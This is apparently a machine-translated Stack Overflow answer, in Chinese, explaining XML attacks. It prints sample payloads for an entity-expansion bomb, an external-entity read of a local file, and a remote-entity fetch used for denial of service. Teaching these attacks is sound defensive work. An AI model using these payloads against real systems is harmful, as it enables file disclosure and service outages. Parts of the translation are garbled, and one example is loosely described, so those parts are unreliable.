xml一直是面向服务的应用程序(SOA)的支柱,它将在未来成为一个有用的应用程序。
由于xml简单易用,易于攻击,攻击者可以将其用于自己的目的。
因此,一些攻击是强制解析攻击,xml外部实体(XEE)攻击,xml dos(xdos)攻击,xml炸弹。
任何人都可以详细讲述这些攻击
怎么能在一个系统中实际模拟这些攻击呢?
答案 0 :(得分:19)
首先,我们需要区分攻击的效果与被利用的功能。
可以利用的XML的特定功能是
效果可以是
我认为没有“炸弹”的定义,但它指的是特别“紧凑”且“扩展”的攻击。 “强制解析攻击”利用XML模型的本质来压倒解析器。
以下示例摘自XML Denial of Service Attacks and Defenses。 另外,如果你懂法语,请阅读优秀杂志“La security des web services”。
示例1
使用导致DOS的实体的炸弹,因为它耗尽了内存
<?xml version="1.0"?>
<!DOCTYPE kaboom [
<!ENTITY a "aaaaaaaaaaaaaaaaaa...">
]>
<kaboom>&a;&a;&a;&a;&a;&a;&a;&a;&a;...</kaboom>
如果您有50'000“aaaa ... aaa”和50'0000 &a:&a;...&a;
,则200KB的有效负载会在内存中扩展到2GB以上
示例2
可以使用实体以未经授权的方式访问另一个文件。这导致了信息披露。
<?xml version="1.0"?>
<!DOCTYPE letter [
<!ENTITY file SYSTEM "/sensitive.txt" >
]>
<tag> &file; </tag>
示例3
使用某些解析器访问远程资源的能力(参见http://www.ibm.com/developerworks/xml/library/x-tipgentity.html),现在看看如果文件bigfile.xml
是2GB会发生什么。这可能会导致DOS。
<?xml version="1.0"?>
<!DOCTYPE letter [
<!ENTITY file SYSTEM "http://www.mysite.com/bigfile.xml" >
]>
<tag> &file; </tag>
示例4
这种递归会导致内存耗尽,可能是DOS。
<!ENTITY companyname "Contoso Inc.">
<!ENTITY divisionname "&companyname; Web Products Division">
如果这是学校作业,那么您还应该考虑如何保护自己免受此类攻击。